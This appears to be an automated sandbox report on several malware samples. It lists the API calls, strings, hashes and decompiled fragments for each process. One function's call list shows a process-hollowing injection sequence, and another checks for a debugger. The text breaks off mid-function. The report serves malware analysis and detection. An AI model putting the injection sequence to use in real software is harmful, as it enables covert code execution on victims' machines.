Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: 97A24460D0C6E8C9EB21C668CC4C7DDBEB51B26749F0841D9858C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 00960420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00960533

Strings

0, xrefs: 00960492
saodkfnosa9uin, xrefs: 009604DA
d, xrefs: 00960584
mfoaskdfnoa, xrefs: 00960520, 00960523

Memory Dump Source

Source File: 00000011.00000002.386824804.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: e1111b64bc098bebd3858a3a51115198681d1d15cecc635db1d4677030211143
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 59512A70D08388DAEB11CBD8C849BDEBFB66F51708F144059E5457F286C3BA5658CB62

Uniqueness

Uniqueness Score: -1.00%

Function 009605B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 009605EC

Strings

apfHQ, xrefs: 009605E2, 009605E5
o, xrefs: 00960600

Memory Dump Source

Source File: 00000011.00000002.386824804.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 3d9428437cc9d9e9c0bc8ff64e3f4adcf60dbf91015a53103ab02823a3475fe9
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 38012170C0424CEEDF10DB98C5583AEBFB5AF81308F1481D9D4092B242D7769B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 12C6.exe PID: 7040 Parent PID: 3352 12C6.exeCOMMON

Executed Functions

Function 02CB0110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02CB0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 02CB016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02CB0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02CB0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02CB0283
GetThreadContext.KERNELBASE(00000000,?), ref: 02CB029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02CB02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 02CB02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02CB0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 02CB032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02CB0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02CB03BF
SetThreadContext.KERNELBASE(00000000,?), ref: 02CB03E1
ResumeThread.KERNELBASE(00000000), ref: 02CB03ED
ExitProcess.KERNEL32(00000000), ref: 02CB0412

Memory Dump Source

Source File: 00000012.00000002.402207873.0000000002CB0000.00000040.00000001.sdmp, Offset: 02CB0000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: b4da79510591bedae0c4237a358fd6ee8304dd6e5b363a6564a0eaa93e342756
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 2BB1B574A00208AFDB44CF98C895F9EBBB5BF88314F248158E909AB395D771AE45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02CB0420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02CB0533

Strings

saodkfnosa9uin, xrefs: 02CB04DA
d, xrefs: 02CB0584
0, xrefs: 02CB0492
mfoaskdfnoa, xrefs: 02CB0520, 02CB0523

Memory Dump Source

Source File: 00000012.00000002.402207873.0000000002CB0000.00000040.00000001.sdmp, Offset: 02CB0000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 5707b2ebcdd92a659f02c7708f4060883ea9f0a17bb1e75e2b1d17e8e75a04dd
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 1A512B70D08388DEEB12CBD8C849BDEBFB66F11708F144058D5447F286C3BA5658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 02CB05B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 02CB05EC

Strings

o, xrefs: 02CB0600
apfHQ, xrefs: 02CB05E2, 02CB05E5

Memory Dump Source

Source File: 00000012.00000002.402207873.0000000002CB0000.00000040.00000001.sdmp, Offset: 02CB0000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: e679b965806871f0bbed61513a2aedf71b26176c2ea2cec0cc4561b091d93619
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: E1011E70C0425CEADB11DBA8C5187EEBFB5AF41308F148099C8092B242D7769B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00421740, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,?,0041CAFB,?,?,004218B0), ref: 00421747

Memory Dump Source

Source File: 00000012.00000002.401903421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.401876184.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000012.00000002.401935492.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000012.00000002.402146527.0000000002B35000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: fdcdd448e6b8bcbf0c6b5ab0ca15c3fd51ab0a61d4fd7e444713d96113888b30
Instruction ID: b40f90978daf3ef329ab61763e319925ae037b8b9623a4d20099a1721ada3600
Opcode Fuzzy Hash: fdcdd448e6b8bcbf0c6b5ab0ca15c3fd51ab0a61d4fd7e444713d96113888b30
Instruction Fuzzy Hash: 56A01132088208A3C2002282AA0AB823A8CC3C8B22F000020F20C0A8A00AA2A82080AA

Uniqueness

Uniqueness Score: -1.00%

Function 0041C340, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t4;

				E00422F80(); // executed
				return L0041C360(_t3, _t4);
			}

0x0041c345
0x0041c350

APIs

___security_init_cookie.LIBCMTD ref: 0041C345

Memory Dump Source

Source File: 00000012.00000002.401903421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.401876184.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000012.00000002.401935492.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000012.00000002.402146527.0000000002B35000.00000002.00020000.sdmp Download File

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 801511838882745d238d90719077076ab6878bacc9057c11ec7af23bfa7a170d
Instruction ID: 62e926cdd4df3c237a0c63636b8c015586018905d673ed3a2f22195a38f3ed02
Opcode Fuzzy Hash: 801511838882745d238d90719077076ab6878bacc9057c11ec7af23bfa7a170d
Instruction Fuzzy Hash: F3A0023134466D27015033E71A4794EF56D58C0B187D6411EB928025071C9CA94150AF

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004203D0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E004203D0(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x43d1d4; // 0x60fb3fb9
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x43ef30 = _t6;
				 *0x43ef2c = _t20;
				 *0x43ef28 = _t22;
				 *0x43ef24 = _t19;
				 *0x43ef20 = _t25;
				 *0x43ef1c = _t24;
				 *0x43ef48 = ss;
				 *0x43ef3c = cs;
				 *0x43ef18 = ds;
				 *0x43ef14 = es;
				 *0x43ef10 = fs;
				 *0x43ef0c = gs;
				asm("pushfd");
				_pop( *0x43ef40);
				 *0x43ef34 =  *_t29;
				 *0x43ef38 = _v0;
				 *0x43ef44 =  &_a4;
				 *0x43ee80 = 0x10001;
				_t11 =  *0x43ef38; // 0x0
				 *0x43ee34 = _t11;
				 *0x43ee28 = 0xc0000409;
				 *0x43ee2c = 1;
				_t21 =  *0x43d1d4; // 0x60fb3fb9
				_v812 = _t21;
				_t23 =  *0x43d1d8; // 0x9f04c046
				_v808 = _t23;
				 *0x43ee78 = IsDebuggerPresent();
				_push(1);
				E00426B90(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter("(�C");
				if( *0x43ee78 == 0) {
					_push(1);
					E00426B90(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x004203d0
0x004203d0
0x004203d0
0x004203d0
0x004203d0
0x004203d0
0x004203d0
0x004203d6
0x004203d8
0x004203d8
0x0042cc2b
0x0042cc30
0x0042cc36
0x0042cc3c
0x0042cc42
0x0042cc48
0x0042cc4e
0x0042cc55
0x0042cc5c
0x0042cc63
0x0042cc6a
0x0042cc71
0x0042cc78
0x0042cc79
0x0042cc82
0x0042cc8a
0x0042cc92
0x0042cc9d
0x0042cca7
0x0042ccac
0x0042ccb1
0x0042ccbb
0x0042ccc5
0x0042cccb
0x0042ccd1
0x0042ccd7
0x0042cce3
0x0042cce8
0x0042ccea
0x0042ccf4
0x0042ccff
0x0042cd0c
0x0042cd0e
0x0042cd10
0x0042cd15
0x0042cd2d

APIs

IsDebuggerPresent.KERNEL32 ref: 0042CCDD
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0042CCF4
UnhandledExceptionFilter.KERNEL32((C), ref: 0042CCFF
GetCurrentProcess.KERNEL32(C0000409), ref: 0042CD1D
TerminateProcess.KERNEL32(00000000), ref: 0042CD24

Strings

(C, xrefs: 0042CCFA

Memory Dump Source

Source File: 00000012.00000002.401903421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.401876184.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000012.00000002.401935492.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000012.00000002.402146527.0000000002B35000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: (C
API String ID: 2579439406-3375610692
Opcode ID: af6972b9c3d82b21718890dd16d9d665731d74a1f5daf12a4ecd50c50a61e23f
Instruction ID: ab1c5a64931e7d8763ab6dc255e252f6be9df93146680872de7bc963ccbcc3b5
Opcode Fuzzy Hash: af6972b9c3d82b21718890dd16d9d665731d74a1f5daf12a4ecd50c50a61e23f
Instruction Fuzzy Hash: D62105B9912214EBD700DF26FD856487BA0BB5C311F50643AE909973F2E7F569808F8E

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: bsstvub PID: 6956 Parent PID: 7000 bsstvubCOMMON

Executed Functions

Function 004017EA, Relevance: 3.1, APIs: 2, Instructions: 54sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000013.00000002.401085467.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction ID: e26adff564c5d3d37a4e8030c80122da76794021b5cb737f4d399c49089bd509
Opcode Fuzzy Hash: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction Fuzzy Hash: 7001B537604205EADB007EB59D819A93B68AF04365F248777BA12B91F1C938C652A71B

Uniqueness

Uniqueness Score: -1.00%

Function 0040185B, Relevance: 3.0, APIs: 2, Instructions: 50sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000013.00000002.401085467.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction ID: a7be6de418827693af2ab350a5dd922dd862006562865765dfea97ffb81bfcac
Opcode Fuzzy Hash: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction Fuzzy Hash: BF014F33604204FAEB047A929C45DAA3628AB04355F30C533BA13B90F1D97CCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401866, Relevance: 3.0, APIs: 2, Instructions: 45sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000013.00000002.401085467.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction ID: e54376f1e00a1b05e1b0a4da34ea36749e6d38f0b530b75836749d90234edb27
Opcode Fuzzy Hash: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction Fuzzy Hash: DB018637604204EBDB047AD29C41EAA3725AF14315F24C177FE12BA0F1D53D8712A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401884, Relevance: 3.0, APIs: 2, Instructions: 40sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000013.00000002.401085467.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction ID: 5cccd4a7217d25da87a080ae0d04b05742d3a6582cdde403d0d4fd1f208729a0
Opcode Fuzzy Hash: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction Fuzzy Hash: DFF01237644205FBDB047A919C41EAA3729AF44355F20C137BB13790F1C57C8652A72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040187A, Relevance: 3.0, APIs: 2, Instructions: 39sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000013.00000002.401085467.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction ID: 5d822ad72a3bc969102d855418471fb3ff8b776078c2435d27f60d427d7e2b1d
Opcode Fuzzy Hash: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction Fuzzy Hash: 88F0FF33604205EBDB047AD59C41EAA3729AF04315F20C537BA12790F1CA3D8612AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004018D3, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004018D3(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {

				 *__eax =  *__eax + __eax;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				_pop(__edi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x004018db
0x004018e5
0x004018ea
0x004018ec
0x004018ed
0x004018ed
0x004018ee

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000013.00000002.401085467.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction ID: 169e4967cc86e0c75baf1baab42a0cf60a3c7d0871e4951e2e4ac70a2d426d6d
Opcode Fuzzy Hash: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction Fuzzy Hash: 49F0C873604150EBD7013AA19C42AF63769EF01321F248137F923A50F1C63D8612B72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401888, Relevance: 1.5, APIs: 1, Instructions: 37nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000013.00000002.401085467.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction ID: 934e5413d765c160eebb9f9f9fdb0e9e8b4c73449cfdb306a0b7eda1d20c3935
Opcode Fuzzy Hash: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction Fuzzy Hash: 70F03073604104EADB007A959C41AAA3359FB05325F248537BE13B50E1C63D8612B727

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 12C6.exe PID: 6176 Parent PID: 7040 12C6.exeCOMMON

Executed Functions

Function 004017EA, Relevance: 3.1, APIs: 2, Instructions: 54sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000014.00000002.414144660.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction ID: e26adff564c5d3d37a4e8030c80122da76794021b5cb737f4d399c49089bd509
Opcode Fuzzy Hash: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction Fuzzy Hash: 7001B537604205EADB007EB59D819A93B68AF04365F248777BA12B91F1C938C652A71B

Uniqueness

Uniqueness Score: -1.00%

Function 0040185B, Relevance: 3.0, APIs: 2, Instructions: 50sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000014.00000002.414144660.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction ID: a7be6de418827693af2ab350a5dd922dd862006562865765dfea97ffb81bfcac
Opcode Fuzzy Hash: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction Fuzzy Hash: BF014F33604204FAEB047A929C45DAA3628AB04355F30C533BA13B90F1D97CCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401866, Relevance: 3.0, APIs: 2, Instructions: 45sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000014.00000002.414144660.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction ID: e54376f1e00a1b05e1b0a4da34ea36749e6d38f0b530b75836749d90234edb27
Opcode Fuzzy Hash: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction Fuzzy Hash: DB018637604204EBDB047AD29C41EAA3725AF14315F24C177FE12BA0F1D53D8712A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401884, Relevance: 3.0, APIs: 2, Instructions: 40sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000014.00000002.414144660.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction ID: 5cccd4a7217d25da87a080ae0d04b05742d3a6582cdde403d0d4fd1f208729a0
Opcode Fuzzy Hash: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction Fuzzy Hash: DFF01237644205FBDB047A919C41EAA3729AF44355F20C137BB13790F1C57C8652A72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040187A, Relevance: 3.0, APIs: 2, Instructions: 39sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000014.00000002.414144660.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction ID: 5d822ad72a3bc969102d855418471fb3ff8b776078c2435d27f60d427d7e2b1d
Opcode Fuzzy Hash: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction Fuzzy Hash: 88F0FF33604205EBDB047AD59C41EAA3729AF04315F20C537BA12790F1CA3D8612AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004018D3, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004018D3(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {

				 *__eax =  *__eax + __eax;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				_pop(__edi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x004018db
0x004018e5
0x004018ea
0x004018ec
0x004018ed
0x004018ed
0x004018ee

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000014.00000002.414144660.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction ID: 169e4967cc86e0c75baf1baab42a0cf60a3c7d0871e4951e2e4ac70a2d426d6d
Opcode Fuzzy Hash: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction Fuzzy Hash: 49F0C873604150EBD7013AA19C42AF63769EF01321F248137F923A50F1C63D8612B72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401888, Relevance: 1.5, APIs: 1, Instructions: 37nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000014.00000002.414144660.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction ID: 934e5413d765c160eebb9f9f9fdb0e9e8b4c73449cfdb306a0b7eda1d20c3935
Opcode Fuzzy Hash: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction Fuzzy Hash: 70F03073604104EADB007A959C41AAA3359FB05325F248537BE13B50E1C63D8612B727

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: B4BD.exe PID: 4036 Parent PID: 3352 B4BD.exeCOMMON

Executed Functions

Function 031B0040, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 216nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 031B0366

Strings

F}Vm, xrefs: 031B0043
F}Vm, xrefs: 031B015B

Memory Dump Source

Source File: 00000018.00000002.526015137.00000000031B0000.00000040.00000001.sdmp, Offset: 031B0000, based on PE: false

Similarity

API ID: ResumeThread
String ID: F}Vm$F}Vm
API String ID: 947044025-2169419898
Opcode ID: 7a88f0f296428cffd5ef9f1f0650d933e20003a85e011657141caf5455eeee57
Instruction ID: c77a82017274d174aebe0ef357eb6542a3f8e1788d32a93ef3438f51412c3596
Opcode Fuzzy Hash: 7a88f0f296428cffd5ef9f1f0650d933e20003a85e011657141caf5455eeee57
Instruction Fuzzy Hash: A58151209243049ECB24DF50C14899E7BF2EF49308F5AD19AC4191F636E7B2C58EC79A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 2E6C.exe PID: 1372 Parent PID: 3352 2E6C.exeCOMMON

Executed Functions

Function 004017A3, Relevance: 3.1, APIs: 2, Instructions: 56
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E004017A3(signed int __edx, void* __edi, void* __esi, void* __fp0) {

				asm("wait");
				 *(0x7684bd6c + __edx * 4) =  *(0x7684bd6c + __edx * 4) >> 1;
			}

0x004017a6
0x004017aa

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 0000001D.00000002.460439808.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: aa6c66ade1839c057e54ed95590a2b4f703699917ec1c7b6b3ca2d20bc3bc55b
Instruction ID: 5bd60c2b3e8a068e4466346cbc0defb5667620a0c4f183a3ee32389aea7e8ad2
Opcode Fuzzy Hash: aa6c66ade1839c057e54ed95590a2b4f703699917ec1c7b6b3ca2d20bc3bc55b
Instruction Fuzzy Hash: 3E01C033648100EBE700BA909C42E6A3325AF00700F24C137FA53BA1E1C63EDB22975B

Uniqueness

Uniqueness Score: -1.00%

Function 0040181C, Relevance: 3.1, APIs: 2, Instructions: 55
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 15%

			E0040181C(void* __edx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t20;
				void* _t21;
				void* _t24;

				_t19 = __edx;
				_t8 = 0x1851;
				__eax = __eax + 0xf4ebce62;
				__eflags = __eax;
				_push(0x66);
